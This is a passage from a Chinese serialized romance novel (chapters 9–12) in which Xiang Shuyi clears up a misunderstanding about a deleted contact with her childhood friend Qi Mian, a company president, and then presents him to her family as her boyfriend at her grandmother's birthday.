“球场垃圾太多,”祁勉双手插兜,面色冷淡,令人不寒而栗,“好好清理,别脏人眼睛。”
他丢下这句话,头也不回地转身离开。
-
向殊意坐在二楼吧台前,单手扶着额角,把头埋得很低,指腹碰上温度高居不下的脸颊。
看惯了祁勉一天到晚懒懒散散没个正形的样子,她今天才真正意识到,他是个集团的总裁。
是随便一句话,都能让人趋之若鹜的存在。
祁勉早就不是榆市老街里那个成天翻墙、意气风发少年了。
他是个男人。
一个已经成熟的、能解决问题的、能保护人的男人。
抛开他和自己相处时那一点总也藏不住的稚气,面对工作,权力和能力给他覆上了一层天然不容置喙的权威。
向殊意突然觉得,自己也不是那么了解他。
她脸颊更烫了,总觉得周围始终环绕着那阵若有似无的木调香气,好像这个人时时刻刻就待在她身边似的。
脑海里浮现出刚刚离她的脸只有几厘米之遥的侧脸,和他目光中那种即将爆发的怒气,向殊意猛地从臂弯里抬起头。
他不会在下面打架吧?
向殊意越想越觉得有这个可能,赶紧扶着吧台桌面直起身。
那阵木质香气更浓了,向殊意余光往旁边一瞥,身边不知什么时候冒出个男人。
他手肘支在吧台桌面,手指间端着只细细的玻璃杯,垂眸盯着里面摇晃的酒水,看起来漫不经心又矜贵。
向殊意被吓得浑身激灵,脱口而出:“祁勉你有病啊?”
吧台内站着的调酒师瞪圆了眼睛,手上动作慢下来,一脸八卦的表情。
祁勉扬起唇角,偏头看她,“才看见?我以为你故意不理我。”
向殊意抚着胸口重新坐回去,又仔仔细细看了看他的脸和裸.露在外的手臂皮肤。
没看见伤口。
祁勉感受到她的视线,放下酒杯,像个良家妇男一般双手抱住自己,一脸鄙夷:“向殊意,你有必要这么饥不择食?”
向殊意刚抿进唇里的酒液差点喷出来:“你口出什么狂言!”
祁勉长腿一垂,鞋尖点在地面上,将高脚凳往旁边挪了一小步,眼神防备。
“戏精。”向殊意嘀咕一句,转头继续喝她的酒。
没一会儿接连来了好几个西装革履的男人,恭恭敬敬走到祁勉身边和他低声说了些什么,最后进来的是陈特助,她认识。
酒水区音乐悠扬,盖住他们的话音,向殊意听不太清,只隐约捕捉到祁勉低沉阴冷的嗓音:“全撤了。”
向殊意面前被推来一杯酒,是祁勉刚刚在手里摇摇晃晃半天也没喝一口的酒水。
向殊意疑惑地看他,祁勉像是能听见她心声一般,一边侧过头听助理汇报,一边抽空朝她轻抬下颌,示意这酒是给她的。
向殊意现在对喝酒没兴趣,草草点了下头,没动。
陈特助和祁勉谈完事情就走了,向殊意立马凑上前问:“撤什么?钱?”
祁勉没立刻回答她。他抬手让调酒师弄一杯酒精度低的酒水来,才看她一眼:“嗯。”
向殊意心中翻滚如冒泡的汽水,说不清产生的是什么感受。
祁勉“嘶”了一声,侧过上半身,手掌撑着头,姿态慵懒,声音调笑:“你不会,自恋到以为是为了你吧?”
向殊意转头看他。他的侧脸在室内并不明亮的光线下明暗交接,眼神看上去促狭又缱绻。
是故意看她反应的姿态。
越是这样,向殊意就越要装得云淡风轻。
她伸手捋了下鬓边的发丝,还没组织好语言,祁勉却像是看准了她说话的档口,突然叹了口气:
“我知道,今天我人格魅力是大了点。”
简直不要脸至极。
向殊意没法将现在这个致力于反复证明自己“有魅力”的男人,和十几分钟前那个环抱着她、面色阴沉的男人联系在一起。
向殊意嘴唇翕动,欲言又止了半天,才终于说:“祁勉,我突然觉得,你还
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挺可怜的。”
她望了望周围,确认没人注意他们俩,才俯身往前,伸出根手指敲敲太阳穴,煞有介事地轻声说:“好端端的被球砸坏了脑袋,很不好受吧?”
祁勉:“……”
每当他期望从向殊意嘴里听到些好话的时候,他就觉得,他该改改这个毛病了。
太阳快要下山的时候气温骤降。向殊意掀开帘子从二楼走出去的瞬间,一阵凉风吹过来,她冷得浑身一激灵。
祁勉跟在她身后,默不作声地走到风口处,又摸出手机敲敲打打。
向殊意双手抱臂,远远看见陈特助臂弯里抱了件黑西装小跑过来。
她心里一热,觉得祁勉这男人也还算体贴,至少还知道温度降了,让人拿件外套来借给她披。
向殊意又愿意给他好脸色了,真心实意地笑起来,伸出手:“谢……”
祁勉先她一步伸手,把西装拎到手里,在空中一甩,披上肩膀,然后朝她微皱眉头,像是疑惑:“什么?”
“……”
她用力把抱紧的手臂放下,皮笑肉不笑地说:“没事呢,你听错了。”
狗男人。
从小到大就不知道惜香怜玉这四个字怎么写。
向殊意低头摆弄手机准备打车,听见祁勉在她身后轻笑一声,随后一件宽大的男士外套携了些体温,披上她肩头。
衣服尺码真的很大,甚至能盖上她的一截大腿。
“逗你玩儿呢,笨蛋。”
风大,他声音低。
听上去像缱绻的呢喃。
向殊意没应声,只悄悄把手伸进外套里,把自己拢得更紧了些。
祁勉好像绑定了那个说话不气到她不罢休系统,一句话说出来不让她被气到就宁愿不说。
他阻止了她打车回家的计划,理由竟然是:
让她见识一下豪车内部长什么样,好长点见识以后别在外丢人。
祁勉摊手:“没有别的意思,就是想着你工作不容易,给你个机会结识一下我这样的人脉,顺便见见世面,也替我自个儿积点德。”
“人脉?哪种人脉?”向殊意想都没想,脱口而出,“联系方式都被删了的那种人脉?”
话音一落,车内瞬间安静下来。
向殊意也瞬间后悔了,恨不得穿回前一秒死死捂住一秒前的向殊意的嘴,让她别为了吵架而逞一时口舌之快。
删就删了。
问这个干什么。
搞得好像,她有多在意似的。
向殊意搭在膝盖上的手掌悄悄握紧了。
落人话柄。
又败一局!
话已出口,也不能收回去,更不能让他装作没听见。
好歹青梅竹马一场,就算分开那天不是那么愉快,也不至于绝情到单删好友的程度吧?
向殊意找到一点儿底气,朝祁勉扬起下巴,一副听他狡辩的模样。
可祁勉非但没有像她想象中那样惊慌失措,闻言只是稍愣。他偏过头,头顶车灯洒在他脸上,高高的眉骨下方形成一小片阴影。
祁勉眯起眼看了她一会儿,一字一句问:
“我什么时候删了你好友?”
9. 成狗了吗
向殊意拖着步子从电梯出来,打开家门,把钥匙随手搁在玄关平面上,一串乒呤乓啷声响。
垂头时,肩头披着的西装外套往下滑落,向殊意才注意到自己思考得太过沉浸,连衣服也忘了还。
她睫毛轻颤,忍不住又想起了刚刚那个史诗级大乌龙。
在听完祁勉问出口的话以后,她仍然没有意识到事情的不对劲。
她以为祁勉早忘了这回事,直截了当点开好友页面,把手机屏幕面向他:“你自己看吧。”
祁勉就着她的手凑过去看。
眼前男人的脸突然无限放大,虽然不是盯着她的脸,但向殊意还是不动声色地往后挪了一点儿。
“啧,”祁勉蹙起眉头,掀起眼皮看她一眼,“离那么远我看不清了。”
祁勉眼睛里明明白白写着“离我近点”,向殊意只好照做。
她努力让自己底气充足地盯着他,却毫无防备地撞进他含笑的眸子中。
“向殊意,我是真的很好奇,你到底有多讨厌我?”
祁勉声音听起来像在控诉,却更像在调笑:“讨厌到,连我的号都能搞错?”
向殊意懵了。她也蹙紧了眉头,把手机转向自己。
“好亲昵的称呼啊,”祁勉还在阴阳怪气,“还嫌人家‘烦人’,人家都把你删了,到底谁在嫌弃谁?”
……
向殊意脱了外套,往沙发靠背上随手一抛。窝进沙发角落发了会呆,又觉得冷,目光不自觉就移向那件与房间温馨色调格格不入的西装外套。
她烦躁地抓抓头发,突然猛地抬起头来。
她匆忙点进家人群,果然在群成员中找到了那个“烦人”的头像。
竟然是远方表弟……
早远的回忆隐隐约约浮现上来。向殊意惊奇地发现,她被“耀祖”单删这件事儿,好像还和祁勉有点关系。
是她高二时候的事儿了。
表弟只比自己小两三岁,那时候正在读初中。
姨妈向来把这表弟看成宝贝,知道她成绩好,专门跟肖琳通了气,让向殊意上门给他补课。
向殊意其实不愿意浪费假期,但被姨妈和妈妈双重夹击,最后还是妈妈拍板,一个字让她去。
向殊意顶着大太阳走到表弟家里,却屡屡吃闭门羹。在门外站着被晒得满脸通红、汗流浃背,表弟始终在房里装没听见,每次都让她白等一个小时。
她跟妈妈跟姨妈说,每次得来的都是无关痛痒的回应。
直到某天,祁勉骑着单车准备出门,正巧碰见她推开家门出来。
“这大太阳的,你干什么去?”
向殊意在烈日当头下艰难地把帆布包往肩头一挂,抬起伞回:“我去表弟家帮他补习。”
“补习?”祁勉扬起唇角,语气显然是嘲讽,“你个万年老二,你给人补习?”
嘁。
你最牛啦。
可这事儿还真是真事。祁勉偏偏就一直都是第一,她处处要被他压一头。
就因为自己永远考不过他,就算是常拿第二,也没有被爸妈真心夸奖过一次。
每次都是“你看看人家小勉!”
同桌自诩“恋爱大师”,激动地跟她分享自己的少女心事时,向殊意的少女心事永远是“什么时候能超过祁勉”。
满腔的阴阳怪气只敢腹诽,向殊意皱起小脸不想理他,转身就走。
祁勉自知自己惹她生气了,也不去赴兄弟的游泳之约,干脆推着自行车跟在她身后,悠哉游哉往前走。
她走快几步,他便走快。
她放慢,他也放慢。
她停下脚步,他干脆也停了,却把头偏向一边,还若无其事地指指树干朝她说:“那有知了。”
向殊意瞪他一眼,干脆调转脚尖快走几步,一屁股坐上他的自行车后座。
祁勉怔愣一瞬,转头看见她气鼓鼓的脸。
“走呀,有车不坐是笨蛋!”
祁勉看着她,看着看着就开始笑。他迈开腿跨上座位,故意猛地往前一冲。
向殊意果然没坐稳,一头栽到他背上。
祁勉在前面坏笑,肩膀一颤一颤。
向殊意远远望见表弟家紧闭的房门,突然就开始后悔了。
她悄悄抬眼,偷瞄他一眼,又垂头丧气起来。
让他看见自己又怂又狼狈地在门外等开门,肯定又会嘲笑。
向殊意成了朵被太阳晒蔫了的花儿,一下车就立马说:“你回去吧,我到了。”
祁勉本来要回,一听这话反骨上来了,一把抓住车头:“我送你进去。”
陪着她敲了几分钟的门,大少爷果然不耐烦了,却不是对她。他制止住敲门的向殊意,抬手用力捶了下铁门,朝里喊:“里面还有没有活人了?”
没过三秒,门被打开一条缝。胖乎乎的表弟拉开门,一脸害怕:“你你你你谁啊?”
向殊意眼睛都瞪圆了。
祁勉冷脸目送她走进去,在外面楼梯间坐着等了整整一下午,直到太阳快下山,向殊意从门里走出来。
她惊呼:“你没走?你在这儿坐了多久?”
祁勉却抬起眼皮,眉头紧锁,目光里满是问询:“向殊意你说实话,今天我来这里之前,你每次要在门外等多久?”
向殊意盯着他鼻尖冒出的细汗,下意识闪烁其词:“没多久……”
“向殊意。”祁勉面无表情,重复了一遍她姓名。
向殊意:“……一个多小时。”
自行车的轮子滚压着蛋黄流心一般的黄昏,少男少女的影子搅在自行车链条中,扯得很长很长。
向殊意以为他生气了,只好不停地和他解释妈妈和姨妈怎么威逼利诱,又怎么敷衍她的恳求,说着说着把自己说委屈了,祁勉还是一言不发地骑车。
自行车在她家门口的庭院外停下,她沮丧地准备走,祁勉却在她身后喊住了她。
祁勉茶棕色的卷毛在额前软软垂着。他垂眸看她,手紧紧握着车龙头把手,在那片昏黄的日光下认真地说:“你要学会拒绝,学会狠心一点,知道吗?”
向殊意听着这和自己前十几年人生中主旋律截然不同的别音,下意识说:“可是她是我妈妈……”
“你妈妈对你不好,”他轻声说,“你没发现吗。”
后面的事情她都记得。祁勉借着来她家串门的借口,和肖琳说,自己愿意给向殊意表弟补习。
街坊里有名的“别人家的孩子”主动要给小孩补习,妈妈和姨妈当然满口答应下来。
不知道祁勉使了什么花招,仅仅过了三天,表
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弟变哭着喊着说再也不要补习了。
想必也是那个时候,表弟“恨屋及乌”地把她的好友给删了吧?
向殊意在祁勉的帮助下夺回了剩余的自由假期,请他到巷口吃关东煮的那个夜晚。
他们在长凳上坐着抬头看星星,他突然没头没尾地说:“你想逃跑吗?”
向殊意不明所以地转头看他。
祁勉也转过头,眼睛里闪烁着她从未见过的认真和坚定。他又一次问:“你的家人对你不好,你想逃跑吗?”
他顿了顿,声音艰涩:“……和我一起,逃跑。”
向殊意愣了几秒,随后笑得前俯后仰起来:“你说什么胡话呢?什么逃跑?”
祁勉没有笑。他喉结上下滚动,语气有些急促:“我们现在没有条件跑,但高考填志愿呢?你还想待在榆市、读榆市大学么?待在这个老街里,被困在这里和摆脱不掉的家庭纠缠一辈子,被拖着……”
“祁勉,你今天好奇怪,”向殊意打断了他,有点被吓到了,“你爸爸妈妈不是很好吗?一个是商人,一个是画家,你们家庭很幸福,从来没有过争吵,你为什么会……有这种想法?”
祁勉沉默了很久,没有解释,只说了句“抱歉”。
……
向殊意猛地睁开眼睛。
虽然一切都是乌龙。可她安静下来,突然发觉,自己那天因为发现被删而发酵出来的情绪,好像是完全没有必要的矫情。
毕竟当初他们不欢而散。
他应该,也记恨很多年了吧。
向殊意不记得很多事情了,这是她刻意回避去回忆的结果。
但她仍然能记得,当初她对他说了些什么,做了什么,才会让他那样一生骄傲而顺遂的人,竟也为她低了头。
家里只有她一个人,没有养猫也没有狗,除了她的呼吸声,一片寂静。
吊顶的灯坏了好几天了,没时间修。现在一块亮,一块不亮,还有几块在亮暗闪烁。
一开始忆往昔,就好像浑身的气和劲都被卸了。
向殊意捧着双膝,缩在沙发角落,一动不动盯着灯。
她突然觉得,像她这样出尔反尔、临阵脱逃的人。
祁勉想记恨、想针对、想为难、想报复,好像也是应该的。
这种丧丧的情绪一直延续到早上起床,向殊意掀开被子,才发现被单晕开了一小块鲜红。
向殊意愣了几秒,心里反倒轻松起来。
就说嘛。
突然夜间emo一定是激素作祟。
她理所当然地把所有责任推卸到伴随月经而来的某些激素身上,也尽力消解掉沉重的情绪,抱着被子走向洗手间。
今天是外婆的生日。
向殊意坐在桌前认认真真化了个妆,遮去脸上疲态,省得一会儿外婆又要担心。
一切准备就绪,她摸过手机准备打车时,才发现昨晚微信多了几条信息。
【不是吧】
【就这么讨厌我?对着手机找了一晚上也没找出来我?】
【突然开始好奇你给我备注什么了】
向殊意自然地把视线移到聊天框最上方,看清楚备注后,她差点把手机丢出去。
聊天页面顶端,明晃晃地摆着两个字:
“哥哥”。
10. 成狗了吗
不是?
哥哥???
祁勉不说话时的那张冷脸,和眼前这个充满了亲昵和依赖感的备注,逐渐诡异地重合起来。
她没忍住起了一身鸡皮疙瘩。
向殊意啊向殊意,就算你是独生女,也不至于期待哥哥到完全不挑的程度!
就祁勉这种……
向殊意脑补了一下自己对着祁勉喊“哥哥”的样子,脸上耳朵上立刻熟透了。
她飞快点进他头像,想要改掉这雷霆备注,手指却没控制住连点两下。
聊天框下方立刻蹦出一条小字:
【我拍了拍‘哥哥’。】
向殊意绝望地闭上眼睛,反应几秒,又赶紧睁开眼睛点撤回。
远远看见车来了,她赶紧在路边朝它招手。
坐进后排,窗外车水马龙飞梭而过。向殊意把手机夹在双手手心里,心虚地眨眨眼,再没敢多看一眼。
好在一整个上午,她和祁勉的聊天框都安安静静的什么也没有。祁勉应该是没注意到。
向殊意终于稍稍放下心来。
她提着满手的水果礼品回到老街的小巷里,艰难地用脚尖踢了踢家门。里面扬起声音:“来了!”
开门的是她妈妈。
肖琳腰间还围着围裙,看清楚向殊意的脸以后,“哟”了一声把她迎进来:“回来了?”
向殊意还没来得及回应什么,肖琳目光一转,看见她手里提着的大包小包,脸色一下子沉下来:“又乱花钱!有这钱还不如多买点菜回来!”
向殊意想说又不是专门给你买的,话到嘴边又憋回去,只语气轻松地回:“这也有水果能吃。”
肖琳又说:“在哪儿买的水果呀?超市?你们年轻人惯是不会过日子的,水果就应该在街上那种水果车上买……”
向殊意痛经很严重,这会儿小腹直往下坠,手掌被塑料袋提手勒得生疼。她一言不发,弯腰把袋子放在地上,又扶着墙换拖鞋。
肖琳像是找到发泄口了似的,灶上的饭菜也不管了,就一个劲地跟着她从玄关念叨到客厅沙发。
“肖琳!”外婆听见动静,颤颤巍巍从房间出来,声音很重。
肖琳不太情愿地终止了话头,又催正好起身去扶的向殊意说:“还傻坐着?快去扶外婆呀,一点都不孝顺!”
“她再不孝顺,也比你孝顺!”外婆朝她用力哼了一声,回头抚上向殊意的手背拉着她坐。
祖孙俩手拉着手热切地聊起天来,肖琳也不再自讨没趣,转身冲回厨房。
向殊意抬头远远望了一眼她背影,又准备起身:“我去搭把手。”
可外婆伸手把她按住,笑着说:“今天是外婆的生日,你就不能陪我多聊会儿天呐?”
向殊意也弯起唇来,顺从地坐下,又认认真真把老太太看了一遍,忽而拧起眉毛:“怎么感觉您瘦了不少,是不是没吃好睡好?最近身体还好吧?”
外婆对这问话避而不谈,反倒伸手摸摸她的脸,说:“还说我呐,你这点儿肉,都瘦没咯!”
一家四口围坐在桌边吃饭,除了向殊意偶尔回应几句,其余时间基本是肖琳在说话。
从广场舞团的八卦,到最近又贵了几毛钱的菜,说着说着忽然开口:“向殊意,你谈朋友了没有?”
向殊意伸出去的筷子一顿,还没作声,便听见一旁瓷碗碰上桌面的声音。
外婆声音冷冷的:“你没完了是吧?意意一回来你就把张嘴挂她身上,你关心她吃好睡好没有?就知道问些没用的!”
肖琳也撂筷子了:“这怎么没用?一个女孩子成天在外面走南闯北不结婚,我们也操心着呢!”
“当然了,我向来民主,”她瞥了向殊意一眼,又改口,“我是尊重她意见的,又不会逼她。”
“向殊意?”肖琳见向殊意没应声,语气一下子变得探究起来,若有所指,“虽然说这种事情是你自己的事,但你也要为家里着想的。当初放你去北市工作已经是让步了,就算舍得我和你爸,你舍得你外婆吗?”
“别翻旧账了!”外婆横她一眼,又放软了语气,对向殊意说,“意意,我还是那句话。家里不需要你管,我也不需要你操心,你安安心心在北市工作,不要着急也不要将就,听见没有?”
向殊意终于决定了。
她抬起头,环视一圈,最后将目光放在母亲身上。
“妈,我已经谈恋爱了。”
与其继续听她拉拉扯扯说些恋爱结婚重要性的大道理,向殊意想,还不如直接骗她自己恋爱了。
反正她人在北市,天高皇帝远的,虚构一个男朋友也不算难事。
大不了瞒不住了,再说他们分手了就行。
外婆沉默不语,肖琳却立刻拧起眉毛:“哪里人啊?北市的?”
“对,”向殊意在她灼热的目光下,点头,“北市的。”
肖琳说:“怎么还谈了个外地人啊?”
向殊意越编越熟练,立刻顺着妈妈的要求开始调整:“不算外地,他是榆市本地人,到北市工作。”
“那还行,”肖琳总算满意了些,“有没有照片我看看长什么样?”
向殊意头皮发麻,正在想怎么回复时,桌上的手机突然震动了下。
肖琳敏锐察觉,催她:“快看看,是不是人家发信息找你?”
向殊意拿起手机,看都没看,装模作样点头:“是他,我先回复一下。”
她这才把目光聚焦在屏幕上。看清楚来信人的那一刻,向殊意微微睁大了眼睛,差点让口水呛到。
屏幕上出现的,赫然是来自祁勉的消息。
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【你家是几号来着。】
向殊意盯着这话愣了三秒,打了个“?”出去。
对面很快又回复:【想起来了,二十三号。】
向殊意一脸懵。
肖琳在一旁等得着急,追问:“怎么样?让他发张照片来呀。”
向殊意赶紧把手机往自己这边偏了下,说:“没有,他不爱拍照。”
肖琳语气怀疑:“不可能。就打开手机照一张的事,用不了他一秒钟吧?”说着就要起身拿向殊意手机。
向殊意立刻站起身来,门铃也在她起身的瞬间响起。
得救了。
她松了口气,指指门外:“应该是邻居有事,我去开门。”
向殊意手搭在门把手上轻轻一压,推门。看清楚来人后,整个人几乎要石化在原地。
“你……你怎么……”
肖琳听着动静不对,也站起身往门口走,一面往门外走一面念叨:“谁啊……”
门口,男人身高腿长,宽肩窄腰,披着件质感上佳的黑色长西装外套,一身矜贵气质。
向殊意已经呆了,身后赶过来的肖琳“呀”了一声,显然十分惊讶:“这是……小勉?”
祁勉扬起唇轻点头:“肖阿姨,好久不见。”
肖琳笑着推了一把身边愣着没反应的向殊意,说:“以前成天上赶着哥哥长哥哥短,这就不认识你祁勉哥啦?”
“哥哥”两个字如同雷劈,一下子把向殊意早已经抛之脑后的备注又给重新拽回脑海。
向殊意尴尬得脚趾抓地,却在妈妈的示意和门外祁勉好整以暇的微笑下,咬牙切齿地喊:“祁勉……哥……”
祁勉双眼含笑:“嗯。”
肖琳赶紧招呼着他进门。她背过身去的那一刻,向殊意立刻回头,语速飞快:“你怎么突然来了?”
“回来给老人家庆生。”祁勉看起来心情很好。向殊意弯腰给他找拖鞋的时候,他突然借着脱鞋动作,凑近了些,温热气息抚在她耳畔:
“不欢迎我啊,妹妹?”
向殊意翻拖鞋的动作一顿,深深吸了口气,面色平静:“祁勉,你的脸呢?”
祁勉耸肩:“我没说错吧,你确实比我小几个月不是?”
向殊意:“你要来这套是吧?”
她带着必须要恶心到他的决心,往他手上提着的大包小包很多礼品盒望了一眼,当机立断站起来:“爸,妈,外婆。”
祁勉半蹲在玄关地毯上,抬头看她。
向殊意做足了心理建设,才让自己的目光尽量显得柔情蜜意:
“他就是我远在北市、老家在榆市、还不爱拍照的……”
祁勉眼皮一跳,和她对上视线。
向殊意笑得很温柔,一字一顿:
“男、朋、友。”
11. 成狗了吗
桌前,向殊意只顾低头扒饭,身边坐着的祁勉非常顺理成章地成为新的焦点,替她接受拷问。
“都多少年没见了小勉!当初我们两家做邻居那十几年日子过得真是快,一下子就飞过去了,唉。”
祁勉礼貌地点头微笑:“肖阿姨,我毕业之后一直在外地,今年才调回北市总部的。”
肖琳眼前一亮:“你们是今年才在北市见的面?”
向殊意扯扯唇角。
祁勉正准备回答,他扶着碗沿的手突然被覆上一只手。
那手柔软而温热,软若柔荑,所触碰到的手背皮肤上像有燃烧的火焰掠过,开始翻滚发烫。
所有未出口的话语被尽数吞进肚子里,他成了哑巴。
祁勉看着她眼睛,捏筷子的手却悄悄用力到发白。他眼睫轻颤,反应几秒,立马接戏。
“是,叔叔阿姨,外婆,我们才刚……刚恋爱不久,所以……”
向殊意听着祁勉难得艰涩的声音,本来慌乱的心反倒轻松不少。
她眼睛一转,开始演技大爆发,“本来是想着稳定一些再告诉你们,但他觉得今天是外婆生日,还是要回来一趟比较好。”
祁勉和她对上视线。向殊意朝他眨眨眼。
祁勉喉结滚动,抬手揉了下耳垂,底气不太足地回:“……对。”
向殊意憋着笑,为了让肖琳相信,又环视一圈,像找到证据一般指了指门口他放下的礼品水果,说:“那些是他买来的礼品礼物,就是为了外婆生日来的。”
肖琳已经信了八成,招呼他们快吃饭。
外婆似乎丝毫没怀疑不对,只是笑,又望向一旁的祁勉。
肖琳给祁勉夹菜,想着想着突然说:“哎,小勉,小意最喜欢吃洋葱了,你帮忙给她夹一筷子吧?”
她什么时候爱吃洋葱?洋葱分明是她最讨厌的菜之一。
向殊意心里大喊不妙。
这是在试探祁勉呢。
她刚要伸出脚轻踢他以提醒,便见祁勉转头,目光缱绻地问:“殊意,你不是向来不爱吃洋葱?”
肖琳一听便笑开了:“啊,那是我记错了。”
向殊意面露惊异转头看他,他朝她抬抬下巴,嘴角勾起一抹得意的弧度,显然在向她邀功。
向殊意被他的笑晃了眼,又匆忙移开目光。
一顿饭有惊无险地吃完,祁勉要帮忙收拾碗筷,却被肖琳一把推开:“哎呀不用不用,你头一回来家里呢,陪老太太聊聊天。小意,你来。”
向殊意又惊出一身汗来。
她这要一进去,外头就只剩下他、外婆和父亲了。
她面露担忧,祁勉却没事人一般扬唇,眼神中说的是让她放心。
向殊意只好摆烂不管了,端着盘子和碗走进厨房。
玻璃推拉门被关上,厨房里只剩下水龙头哗啦啦的水声。向殊意心不在焉地洗碗,耳朵却恨不得贴着门听听外面嗡嗡的在聊些什么。
没过多久向父走进来打招呼,说公司还有事要先走一步。
肖琳气得要命,几步走上前压低声音:“老向你有没有脑子!我让你留在客厅是为了什么!”
向父不耐烦地挥手:“女儿的事情不一直都是你操心么?孩子都长大了,而且大家以前都知根知底的,也没必要故意刁难人家小勉,再说我是真有事。”
向殊意想装作没听见,却没办法真的听不见。
她眼神黯淡下来,盯着手里满是泡泡的碗,一遍一遍用清水冲洗,却好像怎么也洗不完。
明明她早就习惯被踢皮球了。
怎么就做不到不往心里去呢。
向殊意洗完最后一只碗,关掉水龙头,父母的争论声音也随之中断了。
肖琳面色不虞地看她一眼,向殊意装没看见,整理好笑容说:“我先出去了。”
她走到客厅里,外婆正扶着祁勉的手说些什么。见向殊意过来,外婆笑得眼睛眯起:“意意,来,快坐。”
她顺从地坐在她身边,冰凉的手立刻被紧紧握住。
外婆的手很糙,很暖,不大,却刚好够包裹住她的手。
这是她在这个家里,唯一能感受到的温暖了。
外婆一手握着她的手,一手握着祁勉的手,温声细语地说:“不管怎么样,你们两个娃娃要好好的。彼此照顾,彼此体谅,知不知道?”
向殊意很难过自己骗了她,却只能掩下眼中神色。
可祁勉重重地点头:“一定。”
他眉目间满是认真,看起来完全不像在演戏,倒像是……
说真心话似的。
向殊意晃晃脑袋,试图把这种幻想甩出脑袋。
演戏而已。
谁会当真呢。
难得回家一躺,却只能匆匆忙忙来,又匆匆忙忙走。
和祁勉并肩走出家门口时,外面天色已经暗了。
老人颤巍巍扶在门口朝他们招手,声音慈祥而带着笑:“路上注意安全啊。”
门口挂着盏昏黄的小灯,飞蛾在四周围绕。外婆站在门口,灯光映在她脸上,映出条条皱纹的沟壑。
向殊意鼻子很酸,庆幸自己躲在黑夜中,不容易让她看见自己眼底的晶莹。
她张口发出一个音节,发现鼻音厚重得不行。
“外婆,我们先走了,您照顾好身体。下次一定再回来看您。”
身边站着许久没说话的祁勉突然上前一步,声音沉稳,听着让人觉得可靠又心安。
向殊意正好借此空挡压下情绪,再抬头时眼睛弯弯,又恢复了白日里明媚的模样:“拜拜啦外婆~”
祁勉和她一同转身往外走,脚下楼梯有些陡,天色又黑。向殊意伸手想要拨开眼前挡视线的头发,手指却蓦然碰上他的。
像触碰到热油,向殊意猛地缩回手。
祁勉停下脚步,伸手,从她颈侧拢起她全部长发放到一边,然后抬起手臂握住她另一侧的肩膀,几乎将她整个人揽进怀里。
肩膀上被触碰到的地方开始一阵一阵发麻,向殊意眼神飘忽,想抬头看他,听见他刻意压低点声音,带了点无可奈何的轻叹:
“别看我了。”
“装也装得像点儿,行不行?”
她的后背贴上他胸膛,他说话时,胸腔微微的震动都能被她轻易感受到。
向殊意才想起他们还没走
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远,踏出这扇院门之前,他们还是“男女朋友”的关系。
她只好极力、极力掩藏住自己略显慌张的尾音,咬牙切齿地回:“我知道!”
莫名其妙被送上他车的副驾,听见“嘭”的一声关门声音,向殊意才回过神来,等他打开驾驶座车门,对他说:“我订了高铁,你把我捎到高铁站就行,我坐车回去。”
祁勉没回应,只埋头扣上安全带,又启动发动机。
他双手握上方向盘,才像是刚刚听见她的话,拖声拖气地说:“订了什么时候的?我看看。”
向殊意心虚地握紧手机。
一整天忙里忙外,她当然是没订了。
她还在绞尽脑汁想借口时,祁勉已经开口:“订了票、朋友找、太晚了。随便选一个敷衍我吧。”
向殊意:“……”
有时候被了解太多,也是件挺烦的事儿。
向殊意双手抱臂,破罐子破摔:“那我还偏要坐你车回去。”
祁勉认真看路,闻言眉梢一挑,抽空转头看了她一眼。
她只给自己留了个圆圆的后脑勺。
祁勉悠然收回视线,无声弯起唇角。
有整整三个小时车程呢。
祁勉想找话题,又想起刚刚在门口和外婆告别时她浓厚的鼻音,没忍住转头看她一眼。
他抿唇,许久才用调侃的声线问:“准备给我多少雇佣费?”
向殊意望着窗户外,刚刚才冒出头的一点分别的沉湎被中断。她闻言转头拧眉:“什么玩意儿?”
祁勉嗤笑:“你这是用完就扔?”
向殊意刚想反驳,突然想起,今天确实多亏了他精湛的表演,才没有让家人起疑。
可这怎么叫雇佣。
向殊意飞快瞥他一眼,声音瞬间没了底气:“……那你想要什么?”
祁勉握着方向盘的手掌收紧了,又松开。
他嘴唇张了又闭,还是说:“先欠着,等我想到再说。”
向殊意默默抱紧自己:“别张口就要一个小目标就行。”
祁勉心里的那点儿小旖旎瞬间破碎,他气笑了:“张口闭口就是钱,真俗。”
向殊意面色平静:“你不俗,那你给我一个亿。”
祁勉:“……”
“给不出?”她又换上甜美的笑容,“那考虑考虑广告的事儿呗。”
祁勉无情嘲讽:“向殊意,要不是我们有这层关系,你这种死缠烂打的低级手段放别人身上根本就……”
“我们有哪层关系?”
向殊意突然打断。
车内安静下来,只能听见暖气呼呼往外吹的声音,吹得他浑身发热。
祁勉感觉手心在往外冒汗。
他压低了声音,叹了口气,像是妥协:“你就仗着我还……”
话一出口,立刻被他拦腰砍断。
向殊意默默握紧手掌,不敢听到答案。她僵硬着身体扭过头,直直望向前路。
不知道过了多久,久到她已经沉沉睡去。
祁勉在黑暗中转头看她睡梦中的侧颜,缓缓启唇,声音轻得不能再轻:
“……还忘不了你。”
12. 成狗了吗
向殊意在外奔波一整天,疲乏无比,连自己什么时候睡着、怎么睡着了都不知道。
再次缓缓睁开眼睛时,车子早已经停了,一片寂静。
向殊意心中一空,猛地转头看向主驾,身上披着的毛毯随着动作的幅度往下滑落。
祁勉还坐在那儿,手肘撑着车窗棱,手指点上额角,闭着眼不知道是在小寐还是已经睡着。
车里开了一盏小灯,挡风玻璃外正挂着一轮明月。银白的远光直直透过玻璃撒上祁勉的脸,将他脸上的骨相沟壑都照得一清二楚。
他睡着的时候。
骨子里的那点桀骜不驯,好像都无声无形地消退了。
向殊意想着想着就开始盯着他愣神,直到,祁勉突然毫无征兆地睁开眼睛。
她的心脏猛地收紧。
祁勉一脸调笑意味,眯起眼睛,微蹙眉尖。
他声音微哑,尾音微微上扬:“向殊意?”
向殊意心虚地抿起唇,转头看向窗外,逃避他直白如利剑的视线。
她听见自己声音晦涩,艰难地扯话题:“这……哪儿啊?”
祁勉双手交握垫在脑后,放松地靠上靠背:“厉害,自己家楼下都不认得了。”
向殊意往窗外看去,果然是她小区楼下。她挠挠脸,尴尬得不想作声,只想逃。
两个人都不说话时,车里显得格外安静。
向殊意也不知道自己着了什么道,也没有走,就这么坐在座位上,和祁勉目不转睛地对视。
彼此间眼神中生出了一条影影绰绰的无形的线,将他们勾缠在一起。
直到祁勉开口:“还舍不得走?”
不知是因为月色还是别的,他今晚的嗓音听起来格外温柔,一点儿都不像他平常。
向殊意抿起唇,不太自在:“谁舍不得了。”
她转身扶上车把手,小腹突然一阵痉挛般的阵痛袭来,刺得她腰间一软,浑身力气都被抽离,几乎整个上半身都伏倒在车门上。
祁勉眉头瞬间蹙紧:“向殊意?!”
